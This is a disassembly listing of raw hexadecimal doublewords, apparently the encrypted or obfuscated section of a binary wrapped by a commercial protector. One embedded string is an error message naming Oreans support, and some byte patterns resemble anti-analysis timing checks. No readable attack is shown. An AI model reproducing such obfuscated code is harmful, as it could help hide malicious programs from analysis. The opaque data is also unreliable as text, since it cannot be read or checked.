		dd 370656F0h, 0F006C804h, 0AD4FFB59h, 0BEC3A75Dh, 392881FBh
		dd 0EA3AED73h, 81F88727h, 0D9692BCBh, 98A99443h, 2E000001h
		dd 5250436Bh, 22F16C66h, 0F68C3413h, 0F6ACFC4Ch, 0CB724A12h
		dd 0C6739FCh, 51DFA2F6h, 24744E9Eh, 24741AC6h, 41EFBE40h
		dd 86F60C67h, 60BE5236h, 0B339019Dh, 0AA60B000h, 0BB964B2Fh
		dd 6ECD9C17h, 0EFF60C67h, 4A05E99Fh, 0B97CF76Fh, 620B78B8h
		dd 0EF2A806h, 8E4AC2A6h, 18D85D87h, 54A4BE66h, 9D60BE70h
		dd 560C5C0Fh, 0E799BDA1h, 2796C322h, 61h, 9AA9E9ACh, 0D104DDCh
		dd 0A55BE9AFh, 0F76F4AC1h, 0E543BE13h, 9A996839h, 0C3F60C67h
		dd 20702373h, 67959B6Ah, 72C2F60Ch, 8EAD7CF7h, 0CFF60C67h
		dd 0BEE5C97Fh, 9339E543h, 12DBF9DDh, 561CB47Ch,	7DCD1DD0h
		dd 0AF2A7ACAh, 0F5200ECh, 0B631BB97h, 0C9E54E7h, 3B909F6h
		dd 0E3AC901Fh, 43h, 0F76F4AFFh,	0E543BE13h, 11E09622h
		dd 0F60C672Fh, 0BE7458A8h, 9760BEDAh, 5BAB39FFh, 0CB7E47A5h
		dd 0C6739FCh, 86D626F6h, 5FE5AD0Bh, 43BEC5A9h, 0C67C174h
		dd 984E9EF6h, 3CB174EFh, 0F9374F1Dh, 99371BD1h,	96C322E7h
		dd 3427h, 8E4A4300h, 0EFBE16FAh, 0F60C6741h, 884BC616h
		dd 0CC4F6608h, 0D4B86E82h, 19DBDABEh, 60BEA78Bh, 0AE570D97h
		dd 7443BECAh, 0F60C67C1h, 42984E9Eh, 33h, 0FA8E4A5Eh, 41EFBE16h
		dd 86F60C67h, 43BE5236h, 0F024A780h, 0B8872803h, 0F60C0785h
		dd 59D48ADAh, 8B19DB75h, 65EBB210h, 0ADE5EAA2h,	6C229FE4h
		dd 0E3AC9088h, 0FFFFFE5Bh, 1F1EED68h, 40F60C67h, 4A563AF0h
		dd 9220E674h, 36BA81DFh, 93E33383h, 0AAAA5518h,	0A7264FEDh
		dd 4E9E51FBh, 0FECD48FEh, 0FC1626CEh, 8309D12Fh, 6E3DB833h
		dd 0F006B9CFh, 0F8A4090h, 0E762EEB1h, 8339C789h, 0E98F4837h
		dd 9BEB9E22h, 0F755D04Bh, 96F4A735h, 41F747CDh,	6B9C372h
		dd 0D59DFBF0h, 6FBF994Fh, 0B948EDBCh, 0FFA2F006h, 8965827h
		dd 1ED699CEh, 0F2000000h, 0C67C76Ah, 0BB490CF6h, 0C6196Fh
		dd 409E0000h, 0EA3AED77h, 0B23AE327h, 39EFBB1Bh, 0E6744A55h
		dd 0CC47971Dh, 1378CFFDh, 65E030FCh, 592227EAh,	0D0783A75h
		dd 70F6BC1Ah, 7200C624h, 4BD199F7h, 0CBF3E295h,	8632CC8Fh
		dd 95E535E8h, 0C74292E2h, 113CBCF8h, 46C111FAh,	489422E8h
		dd 239E24EAh, 0B477FDC5h, 6F233E74h, 8BB713Eh, 48C3A519h
		dd 1BD0AC79h, 531674FCh, 0CC212C5h, 967E232h, 0C43FBA46h
		dd 5FBB7A49h, 54A4F00Bh, 0B5FB685h, 0A157A7F0h,	0A834F755h
		dd 0D0B9D349h, 7ED487AEh, 0B03h, 9BE78532h, 0A1ED7B3Dh
		dd 0A6F27A43h, 0A6F29C48h, 0A7F38148h, 945B9CBDh, 9E66C410h
		dd 0A86ECC18h, 0AD70CE1Ah, 0E560D31Fh, 6072716h, 755938F0h
		dd 0D98C18DBh, 792CB87Bh, 1DD0541Bh, 0BD70FCBFh, 1FE58FBh
		dd 37829C3Fh, 0FC9CE874h, 93C32B3Ah, 5F7Ah, 0DAA1FF00h
		dd 4ABCA056h, 3BFAC974h, 24F60C67h, 28AE76D4h, 5AD52575h
		dd 1399DD8Bh, 97C689FCh, 633EE0D4h, 10965EBCh, 7D30805Ah
		dd 84D05C1Fh, 22D56326h, 0FF9D49A7h, 5746FC4Ch,	0A331F367h
		dd 0B17AD853h, 2BFA752Bh, 0FA1479F9h, 6C25E846h, 0C769E9Dh
		dd 1F6FBFF6h, 0BC620E6Ch, 0ECD01C6Ch, 3F8B19DBh, 0C683470h
		dd 0C14F15F6h, 30388675h, 959457B5h, 0F59B40F8h, 0F8ABFB20h
		dd 0A877F2A8h, 0FC162C85h, 0B42FAAFAh, 0B3CB6A39h, 4494F006h
		dd 0DD67308Eh, 0D799AD91h, 17944322h, 147h, 9A60BE33h
		dd 5309590Ch, 2C105864h, 288043BEh, 0FD476F52h,	0F43C0BC1h
		dd 0D1F60C5Ch, 0DABE9D81h, 0AB460BEh, 0FDA90757h, 2B06A95Fh
		dd 0CC6F4A1Eh, 0C673EFDh, 7FCF1FF6h, 0CD2BA69Bh, 78C87B21h
		dd 8E4ADEC2h, 0A08416FAh, 0D58EFBBEh, 51048BE1h, 5F49FB9Bh
		dd 308996C3h, 0A5000000h, 13F76F4Ah, 6741EFBEh,	0C616F60Ch
		dd 0BEDABEE2h, 540AB460h, 0D7992DF6h, 75389649h, 634797E7h
		dd 0F5B71590h, 0AE64B467h, 16E3CAh, 4AFF0000h, 0BE13F76Fh
		dd 0C6741EFh, 523686F6h, 12DBDABEh, 0AC90A68Ah,	0C322E799h
		dd 5A2796h, 4A430000h, 0AE71CF8Eh, 501F6F22h, 0F60C67EDh
		dd 57D22272h, 0FAAD33F9h, 5F0F3837h, 499942DFh,	0FBBEAF93h
		dd 0AD653112h, 0D261305Dh, 8BF60C25h, 0BA35EB3Bh, 0C2545EBh
		dd 0DEC212F6h, 561FFBBEh, 0BCFE3E6Eh, 0DBA78B06h, 90A78B19h
		dd 50FD5215h, 42D464Eh,	37E36A4Eh, 0FF000000h, 0F9D60BEh
		dd 1A6E6A59h, 0E655249Fh, 77F60C67h, 0BE8D7127h, 67C17443h
		dd 4E9EF60Ch, 0E24E1D98h, 0E3F60C67h, 679A9968h, 73C3F60Ch
		dd 0DABE3F23h, 0A78B19DBh, 0B7E3AC90h, 68FFFFFEh, 9BC420Ah
		dd 4A1F03B9h, 0AA79F474h, 0FC16B47Ah, 9AF873C3h, 53CE49D7h
		dd 62BB184h, 0DE642AF0h, 0B101DB2Bh, 0FB7008EEh, 0A3598197h
		dd 176F6857h, 0D86ECD9Ch, 9FEFF006h, 0D8181DECh, 2FD2F006h
		dd 0E9C68817h, 190699CDh, 22000000h, 0C67C76Ah,	0BB490CF6h
		dd 6431F46Fh, 11FF2711h, 0E8DD33E9h, 0F9000000h, 0F9D60BEh
		dd 67560C5Ch, 0C7961157h, 0FC1368CDh, 63FBC422h, 12C515B7h
		dd 99F772C2h, 0A3014DD3h, 19DC57DDh, 1AD234BFh,	8952B0C3h
		dd 0AB9A4D03h, 7CDA5513h, 0F87329B3h, 1149F729h, 55249FFAh
		dd 0F601D6E6h, 97712777h, 4665591Ch, 3CACCE78h,	184CE6Dh
		dd 0EF3F8FF6h, 0C74D1674h, 930EC414h, 95E16F35h, 6DD09F1Ah
		dd 0F2F60184h, 3E38DFA2h, 22A6683Fh, 0BA480E6Ch, 97A61807h
		dd 17675C8h, 4A9AEAF6h,	0BD2B00CFh, 4090FC1Bh, 0AA467C5h
		dd 0BD0DC05Eh, 0FC77F26Dh, 0B320E2Dh, 30FF4FF0h, 0F00B320Dh
		dd 4C0252h, 0F251DFA2h,	0AED09C34h, 0B4D127DAh,	81000007h
		dd 8EEC38D4h, 94F23ECCh, 97F541CBh, 97F541EBh, 0EF844D0h
		dd 5FE5ACEDh, 67EDB513h, 69F7BD1Bh, 70FCBF1Dh, 6736B124h
		dd 0F00604D4h, 0DBC6AA89h, 41036118h, 6751E4B3h, 0BE0EF60Ch
		dd 0BF0F9D60h, 4DCE910Ch, 0FBEB76A5h, 7FB9DC9Fh, 81F4C5C6h
		dd 1EAA6DCBh, 0BD4B0D6Bh, 5BE9AC0Ah, 0D97114A8h, 8BB490Ch
		dd 2BA668B8h, 0C77A06CDh, 1F92B477h, 97315105h,	0D9E43EE1h
		dd 0B10F8A16h, 84BF0E9h, 25AC653Ch, 1CD222D5h, 0BA6E30D0h
		dd 61AE93C3h, 0CA000000h, 0C9A60BEh, 0A45AE8AEh, 8E5109B5h
		dd 0AFFF4F02h, 60F6B934h, 0E63AB390h, 0FF3201D0h, 0DB2BF60Ch
		dd 782EBA7Dh, 0E90A2EFDh, 985BFC13h, 0F8E88EAFh, 0A7227254h
		dd 49FF9D49h, 2478C796h, 0DB7EF00Bh, 38FB5943h,	0F3A9F9ACh
		dd 0CA719153h, 5ED999h,	59DCAB39h, 6F00B28h, 497D00B6h
		dd 99000000h, 79F4744Ah, 1398EAAAh, 30E333FCh
		dd 0B0730FD2h, 0A6217124h, 0B5764D7h, 59A9F9F0h, 60ECAF0Dh
		dd 11D432ADh, 0E0DECD83h, 34920D88h, 0DE2EE16Bh, 58635928h
		dd 7CCCFA14h, 0BDE63E01h, 9245D396h, 7E687F42h,	0BCA0ECA2h
		dd 0EAD4EC80h, 671AC470h, 7D4CC717h, 0FC137D5Fh, 0ECBB70C0h
		dd 0B085A72Eh, 8D08605Eh, 62CEAABEh, 18CB1B3Ah,	58D39529h
		dd 65D6D389h, 71EC3C3Ch, 78C45013h, 6AC9571Ah, 0EE66A3C6h
		dd 3453A95Ch, 1000006h,	0E6CB854h, 1472BE4Ch, 1775C14Bh
		dd 1775C16Bh, 8E78C450h, 0DF652C6Dh, 0E76D3593h, 0E9773D9Bh
		dd 0F07C3F9Dh, 0E7B631A4h, 0F0060254h, 0DB462A09h, 0A3926118h
		dd 0BCF60C67h, 0B513E2F9h, 9DED6417h, 0C11F9A4Dh, 5BD90415h
		dd 0F1FDD596h, 0C48DEBA1h, 0B905F440h, 5BB934AFh, 47460993h
		dd 0B0F8908Ch, 538D5C12h, 0A4FC165Bh, 7A43A154h, 4EA793F2h
		dd 0AC5FAECDh, 5BA56h, 2ECE7B00h, 34C284E2h, 3BC18AE8h
		dd 47E591EFh, 4AD69DFBh, 0BAF314FEh, 0C3216DF3h, 0C72571FBh
		dd 0C9277301h, 0BB2E7A06h, 2C27140h, 0BC9BF006h, 0F4744AD8h
		dd 0B472AA79h, 8BDBFC16h, 39FF5DD8h, 0CE97F5ABh, 0A55DE746h
		dd 9649AECDh, 56A40h, 7E1ECB00h, 8412D432h, 8B11DA38h
		dd 9735E13Fh, 9A26ED4Bh, 0A43644Eh, 1371BD43h, 1775C14Bh
		dd 1977C351h, 0B7ECA56h, 272C190h, 0CEBF006h, 0F4744A28h
		dd 0CC581B79h, 671AA86Eh, 17E66117h, 0FC16B321h, 0D533E636h
		dd 2529880Ch, 0F9AECDA5h, 515F046h, 73200000h, 5D1F7DC9h
		dd 5C2583CFh, 822E8CD8h, 6B3290DCh, 8EAF99E5h, 0AEFA864Dh
		dd 0B2FE8850h, 0BC088E54h, 0C10D9B5Eh, 3104D34Eh, 2EF00601h
		dd 18DB6B4Fh, 0E35ED98Ch, 0C672114h, 90EE3EF6h,	3D8D40CEh
		dd 0DA662987h, 0D634AF27h, 632A880Eh, 0AA8427DDh, 55D05C1Fh
		dd 0BA520292h, 67B76AF8h, 5CC05A4h, 0E2A5034Fh,	6528A356h
		dd 0DAF69DFBh, 0E1ECBDEFh, 5A96B037h, 0BB85540Ah, 0D6F60CCFh
		dd 0BCE1B33h, 0CFB08352h, 6629F60Ch, 0FDD727DAh, 22115DADh
		dd 8251CC9Ch, 0FC161BBEh, 7EDC57A7h, 0FC772DBBh, 1074BE81h
		dd 272461BFh, 0C4501371h, 0C9571A78h, 5E972716h, 3F8A8E79h
		dd 5C258324h, 3E0D88D8h, 0FA1CA3CFh, 765E030h, 0E6CB844h
		dd 1B0ABD4Bh, 67F5B7A3h, 0C3CD9C17h, 54FC13CCh,	7DB3A504h
		dd 0A457AED0h, 42A4Eh, 0BE5E0B00h, 0C4521472h, 0CB511A78h
		dd 0D775217Fh, 0DA662D8Bh, 4A83A48Eh, 53B1FD83h, 57B5018Bh
		dd 59B70391h, 4BBE0A96h, 3201D0h, 4C2BF006h, 8C18DB68h
		dd 895A4E11h, 0E42626ADh, 5A1D7B2Eh, 49F553CEh,	0B2A1EDA3h
		dd 83E15C0Ch, 68137BDh,	133EF937h, 4BFE4EFCh, 0B31B57Ch
		dd 0BC581EF0h, 6BBB6E10h, 0CA5681Bh, 0C120874Bh, 1FA56CCAh
		dd 52EC8F6Ch, 98989B6Ah, 75C5F00Bh, 0E139DC25h,	0CB29D092h
		dd 4F1099h, 4A2C0000h, 3BFAC974h, 24F60C67h, 0AB0984D4h
		dd 59A95CE8h, 7B5928A3h, 0A4FC1375h, 7F05CB29h,	8EAD7CCCh
		dd 0CFF00B6Ah, 0F1B42F7Fh, 5AB2AD5Fh, 58F6A28Eh, 249F5208h
		dd 0C37604C6h, 43EEBD73h, 0A5F00B4Dh, 995B2802h, 0D999CA58h
		dd 0BCh, 8C18DBF5h, 67EDB311h, 2583FEB1h, 0D525D85Ch, 76FAC11Fh
		dd 82B180FBh, 0DBF60C67h, 0C422D58Bh, 62C07301h, 0F6C5119Fh
		dd 0F60C6C84h, 3E8A16D9h, 129E65C3h, 0FB590F5Fh, 6E31AC38h
		dd 76603337h, 8B3EF42Ch, 0CB46229Ch, 0A12FF250h, 78409EEEh
		dd 0AF6938EEh, 0F8FC13E0h, 516D5CA8h, 91CD9C17h, 0FAFA115Bh
		dd 9C4FD59Ch, 9927EE4Ch, 0CB4696E6h, 0CE1AA66Dh, 0BC1BA970h
		dd 0B4C90EA6h, 0D0378D40h, 65000002h, 6AC814B8h, 70CE1AA8h
		dd 73D11DA7h, 7BD925C7h, 0FAE430B4h, 4BD9A0D9h,	53D9A1FFh
		dd 5DE3A907h, 64F0B311h, 5B2AA518h, 0F0060FD8h,	0DBC2A685h
		dd 0E6449014h, 65499523h, 79F4744Ah, 13752AAAh,	0A82373FCh
		dd 6ADF5E2Dh, 3080F00Bh, 0EE4CC77Ah, 9AEA9D2Bh,	6A2A15E4h
		dd 29CCF00Bh, 3BC08211h, 0C10099CAh, 1C000000h,	7B18FBBEh
		dd 0E0AC2A67h, 7F32C082h, 581B792Fh, 148E51CCh,	2D7A3FC4h
		dd 79D78A40h, 0CF5D20B2h, 6AF8BE1Ch, 0C71767B7h, 0E4354514h
		dd 672AF60Ch, 6C2F8DD9h, 803E2DE0h, 0FA9E6DE8h,	2BFC1307h
		dd 16E560DBh, 0F00BC827h, 8B11DA38h, 4A39853Bh,	0FE79F474h
		dd 0D3E5843Bh, 46FC9046h, 11219877h, 229DEDFAh,	2B77FDC4h
		dd 1B7A06CDh, 0B4C96851h, 0F0DC32E5h, 45000001h, 4AA8F498h
		dd 50AEFA88h, 53B1FD87h, 5BB905A7h, 0DAC41094h,	2BB980B9h
		dd 33B981DFh, 3DC389E7h, 44D093F1h, 3B0A85F8h, 0F0060EF8h
		dd 0BEA28665h, 0BB1F6CFBh, 1DD3060Dh, 206CF8BFh, 2571FFC2h
		dd 864CAAh, 6347FD4Dh, 0E9860BEh, 0FA21CB4Bh, 25DB8317h
		dd 0C57804C7h, 9C2AEC4Ah, 37C588E6h, 98C2FCEBh,	0F9C843D1h
		dd 0F60C663Ah, 883D323h, 0DE662F8Dh, 5625DB2Bh,	0FC1370E2h
		dd 0F5702373h, 6C88AB7Ah, 85D5F00Bh, 6C3100CFh,	14B7F00Bh
		dd 35AB6D3Ah, 37EB99CAh, 70000000h, 741726F5h, 0F848F00Bh
		dd 60BE5E42h, 0AE50FCB4h, 5B9A85Eh, 319E863h, 6CFC1371h
		dd 979A691Ch, 51F00B6Eh, 0CE2C94AEh, 2ACA8006h,	99CA3868h
		dd 18A8h, 0C66AC400h, 7AF60C67h, 2EA92444h, 0C87E08D0h
		dd 138493F9h, 60ACFCFCh, 0E543BE7Ch, 73C2911Fh,	0ECF60C67h
		dd 0C7F7E69Ch, 0B95726A1h, 0EFC139Ah, 0EC60D093h, 5BD1ADA7h
		dd 0BEBA98Ch, 8F58B6F0h, 0B2025205h, 9D6CE762h,	0F00BEB9Eh
		dd 6B96FBFh, 0BEB0837h,	0F34BEEF0h, 0CAB6E2A4h,	34672A99h
		dd 0BB5443F7h, 28DD6016h, 0F9000000h, 0C67C76Ah, 25437BF6h
		dd 3EBFE7AAh, 0E41D14B6h, 93E39638h, 9E218043h,	2990BD66h
		dd 0A329F873h, 0CFC132Bh, 4A8C70BCh, 0AA79F474h, 0FC16B4EEh
		dd 0E3713896h, 8803532Dh, 2ADD632Ah, 137124DAh,	62F0B650h
		dd 4D1C9712h, 0F0062BEEh, 1D691F6Fh, 0CC7D44A2h, 62B3EFDh
		dd 7FCF1FF0h, 68C67CCCh, 956417A5h, 5A65B1B5h, 6875CD70h
		dd 219C17A5h, 0A372FAC3h, 9665BE90h, 7BC77DCDh,	1BCE5A1Dh
		dd 0B86B11BDh, 5F2EA924h, 9665BEDCh, 0D87B3181h, 0B1B0737Eh
		dd 9DD0AABDh, 38FF5D7Dh, 0B2105CACh, 58AE61EFh,	0Bh, 20B67FDDh
		dd 0C57BCB59h, 0DB694DE1h, 7DDB8E2Eh, 1D7B2EBAh, 0B816C957h
		dd 55B366F0h, 0F14F028Eh, 95F3A62Ah, 329043E9h,	0D230E369h
		dd 7ECF8210h, 4EC81h, 34890000h, 81E68924h, 4C6h, 4EE8300h
		dd 5C243487h, 5EBC68h, 241C8900h, 4D0068h, 24148900h, 381FBA52h
		dd 0A3BB30A8h, 2936B285h, 24148BD3h, 5404C483h,	8124148Bh
		dd 4C4h, 0DF895700h, 8B087A89h,	0C483243Ch, 24148B04h
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 5B2434FFh, 4C481h
		dd 92E90000h, 0D1FFFD10h, 0B8CEE74Dh, 60A6B7Fh,	0E0FFC503h
		dd 9A70EC1h, 0C5FB26Eh,	6073B477h, 58C53C02h, 581B00FFh
		dd 50F94492h, 5E36309Fh, 6BBF6FD9h, 19F28FABh, 79D5D983h
		dd 444B37D5h, 17D7AD35h, 5B2C51E9h, 464EDB8Fh, 56FEAA2Ch
		dd 0FE8h, 0DD598B00h, 5358A516h, 0DFC278C2h, 0FCC8E56Eh
		dd 2870Fh, 0C38B0000h, 98C0F5Ah, 0F000000h, 389h, 4AC08000h
		dd 63A5C281h, 820F0000h, 0
		dd 68h,	10E95600h, 2A000000h, 0FA71B77Bh, 0F2BAB8D9h, 117BBC67h
		dd 5E39E5D9h, 0FA8B665Bh, 531A0C8Bh, 58F1815Fh,	0F601360h
		dd 0F181FABFh, 6AE94203h, 1860Fh, 81F80000h, 0A3A1C3C1h
		dd 1A0C893Bh, 80C6B70Fh, 0EB81A0E0h, 5A8DD355h,	0C0D78166h
		dd 51C3818Dh, 0E95A8DD3h, 9, 13020389h,	0F0C5EAD7h, 0FB817Ch
		dd 0FFFFF9Dh, 0FFFFAB85h, 0E9F8FFh, 4, 33000000h, 69206E41h
		dd 7265746Eh, 206C616Eh, 65637865h, 6F697470h, 636F206Eh
		dd 65727563h, 41282064h, 65726464h, 203A7373h, 78257830h
		dd 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh, 73207463h
		dd 6F707075h, 6F407472h, 6E616572h, 6F632E73h, 54202E6Dh
		dd 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 11A7h, 0A5858BFCh, 6A060730h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 4E65C356h, 9853EE07h, 9E9FFD8h, 0E9000000h, 0D37024A8h
		dd 4ACF684Bh, 4244439h,	53850Fh, 8B600000h, 2D280F2h, 9BD8361h
		dd 6070Ah, 3F840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 180424h, 56460000h, 268658C3h, 8DF8E7D2h
		dd 7388D85h, 1810F06h, 0F9000000h, 0AE9E0FFh, 0E8000000h
		dd 6AA14268h, 0E3B94210h, 99858BC5h, 89060731h,	73339B5h
		dd 24443906h, 83850F04h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6E94C357h
		dd 0F40AC68Ch, 12E9383Ah, 2A000000h, 11B67F1Dh,	27E7DC0Eh
		dd 1F7FFC32h, 0D5EFE5DFh, 0EA85C779h, 1060A70h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 3006C356h, 158D0FFAh, 60000000h, 2655BD31h
		dd 8E90607h, 0F000000h,	1047A1E9h, 61369AF9h, 0F91BD29h
		dd 29600607h, 704599Dh,	20E906h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0D8C3h, 1B80000h
		dd 87000000h, 0A724985h, 75C00B06h, 25B5FFF6h, 8F060715h
		dd 0A70E285h, 6A206A06h, 3195FFFFh, 8306070Ch, 70BB5BDh
		dd 8740006h, 95FF006Ah,	6071B69h, 0E25BD83h, 74010607h
		dd 80680Dh, 0FF6A0000h,	0C3195FFh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 3276EC3h
		dd 0B44A7E80h, 0E9969443h, 12h,	20A8750Bh, 17768216h, 0F2F2E701h
		dd 7888522Fh, 6A85E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0B3F489C3h, 7123FAC3h, 399589EEh
		dd 2B06071Eh, 548BF5C0h, 6A2824h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 15E54DC3h, 0F579E34Dh
		dd 3185BD09h, 85890607h, 6070E39h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 15C35141h, 3A5B8BACh, 7DC95E45h
		dd 1870Fh, 0FFC0000h, 1488h, 0FE900h, 5E0000h, 0D30D9430h
		dd 10296676h, 0CDB944CBh, 3CBEF0h, 5E90000h, 80000000h
		dd 8F5D0B95h, 24247403h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0BCC35343h, 5DA888A2h, 8266115Eh, 32119D89h
		dd 66FC0607h, 53006AADh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 671CE8E9h, 0FC2D89B6h, 24244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 35C35040h
		dd 0CA5FDCE6h, 8E9h, 1E4C7F00h,	82EFBCDBh, 0BE99095h, 0FC000000h
		dd 1F4AEBB3h, 0D3D4FD30h, 5050626Fh, 8E952h, 0DFF80000h
		dd 79A00FC4h, 310FC359h, 6830Fh, 840F0000h, 0
aZxrj		db 'ZXj',0
		db 57h,	0E8h, 3
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0F631C357h, 0EE9D38Ah, 94000000h, 6B8E68D4h,	0CDCCF251h
		dd 221E95E5h, 78408B93h, 1C820Fh, 820F0000h, 16h, 11E9h
		dd 0CA5CB500h, 0DBE3E7E8h, 0C66D62C3h, 0D09E75C9h, 0BD836E20h
		dd 60A70EAh, 11850F00h,	0FC000001h, 8890F90h, 0F000000h
		dd 283h, 50616000h, 13830Fh, 0EE90000h,	1D000000h, 0C5DB0D0Ch
		dd 9D8E2C7h, 4F53F3FDh,	6A9051h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 9BA886C3h, 448BDD4Eh
		dd 85092C24h, 6071401h,	0E9525050h, 0Ch, 0BDC5A962h, 0B1E3853Eh
		dd 602B8637h, 8A60310Fh, 0F5250DCh, 61585A31h, 489585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F002936h, 108Fh, 0BE900h, 46060000h, 3CB83BADh
		dd 7DA6EDEBh, 6850F68h,	1000000h, 7189DBDh, 76858D06h
		dd 6A060A45h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 2822C353h, 6AD0FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 211671C3h
		dd 0B70A9B24h, 0E931CEE6h, 8, 6CF84A6Ah, 0A464B4F5h, 28244403h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 56C35141h
		dd 52CCC97Fh, 23F59D89h, 12E90607h, 0EA000000h,	0F1680D93h
		dd 5F0ED217h, 4F4CFE4Ch, 382F9850h, 18408B4Eh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 3C35343h, 0F3106163h
		dd 12E9F414h, 6E000000h, 5301CB7Bh, 47C031F5h, 0FC93AB49h
		dd 0CD776FCEh, 6A406Eh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9589ECC3h, 6072D91h, 70E68589h
		dd 9D89060Ah, 60731A9h,	128D0Fh, 0DE90000h, 0DC000000h
		dd 52B1C439h, 5061236Ah, 9A3A6EDAh, 19BD8958h, 8B060714h
		dd 6A7870h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F5DD87C3h, 1CC683F9h, 7E9h, 1C2EAC00h, 9A23B5CDh
		dd 7E860h, 82070000h, 1D8745BDh, 2ABA66FAh, 0B50959D0h
		dd 6072C79h, 5E99661h, 0F0000000h, 9D7EDD71h, 24247C81h
		dd 10000000h, 78870Fh, 66600000h, 987EF281h, 5C5705BBh
		dd 60906172h, 12E8h, 71782700h,	0F084EBD5h, 0C66232A5h
		dd 0E4DC4570h, 50166E3Eh, 5A310F52h, 30BA5F58h,	616D064Eh
		dd 0A8F0F50h, 60000000h, 310F5250h, 2AB7585Ah, 8D299061h
		dd 6070249h, 2824448Bh,	2F599D89h, 0E9500607h, 6, 47D629C4h
		dd 4890D0Fh, 65950924h,	8D060731h, 0A457685h, 0D0FFFC06h
		dd 17F98589h, 0F8960607h, 24247403h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 2C35242h, 0BF0FA95Ch, 0BD897321h
		dd 6072DCDh, 0A8E0Fh, 66600000h, 0E6B1E181h, 61FDD080h
		dd 2D69BD8Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 8C175BC3h, 0C72C8AD9h, 8A0FFBE3h
		dd 6, 13BD9509h, 89AD0607h, 71E818Dh, 85016006h, 6072EE5h
		dd 58E0Fh, 81660000h, 61A135C3h, 24247C81h, 10000000h
		dd 117870Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 0EC5DD6C3h, 0C1A416FAh, 0FE9FC28h
		dd 25000000h, 0B26FA382h, 927595E2h, 0A1D45BCDh, 505059C4h
		dd 0CE952h, 0D7EF0000h,	0A87CEEE6h, 626D8621h, 310F5DE7h
		dd 0F616060h, 8Eh, 585A6100h, 89240489h, 70451BDh, 0A8C0F06h
		dd 0E9000000h, 5, 55B2A897h, 24448B1Dh,	52006A28h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0F50F9B8h, 88Fh, 2850F00h, 60000000h, 24048961h, 0A99D8B60h
		dd 0FC060711h, 76858D61h, 6A060A45h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 9ECEC355h
		dd 0BF75A0BBh, 0BD895060h, 607150Dh, 0BB8665Ah,	0D0FF6180h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F7C35545h
		dd 0D50A814Eh, 0FF756F6h, 688h,	2D9D8900h, 6006072Fh, 24440361h
		dd 0DB50124h, 0AB06072Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 77C35545h, 0DD400945h, 0EE977h, 0E0CD0000h
		dd 3467FA3Fh, 0CE9A0DFh, 8B849439h, 0FA81h, 820F0001h
		dd 767h, 6800Fh, 0BD090000h, 6071D99h, 12EDBD8Dh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0DEC2F1C3h, 0C71EA03Eh, 0E9D01DF5h, 7, 0C00ECD17h, 0ADF47C3Ah
		dd 645B509h, 7C810607h,	2424h, 870F1000h, 0B1h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 77C35646h, 30718D89h
		dd 0BD310607h, 6072041h, 0E880F90h, 0E9000000h,	9, 6F5CC845h
		dd 0D00935F5h, 0BE95025h, 8000000h, 2AF7FF0Dh, 7AEFC43Fh
		dd 3190BCF8h, 72D599Dh,	24448B06h, 53006A28h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0E990F828h
		dd 10h,	733714A4h, 6051E9DFh, 460F580h,	5EFFDEA5h, 8E950h
		dd 0F89A0000h, 0D1BF7F5Ch, 0F990EA28h, 4576858Dh, 0FFF9060Ah
		dd 6860FD0h, 29000000h,	732ED95h, 24440306h, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0DF994230h, 7D7271BFh, 9995095Ch, 5006072Eh,	5E9h, 5F4A2B00h
		dd 489F828h, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 85898A9Eh, 6071C25h, 0A0B86660h
		dd 0F5B58B51h, 61060727h, 56006AABh, 3E8h, 0C35E2000h
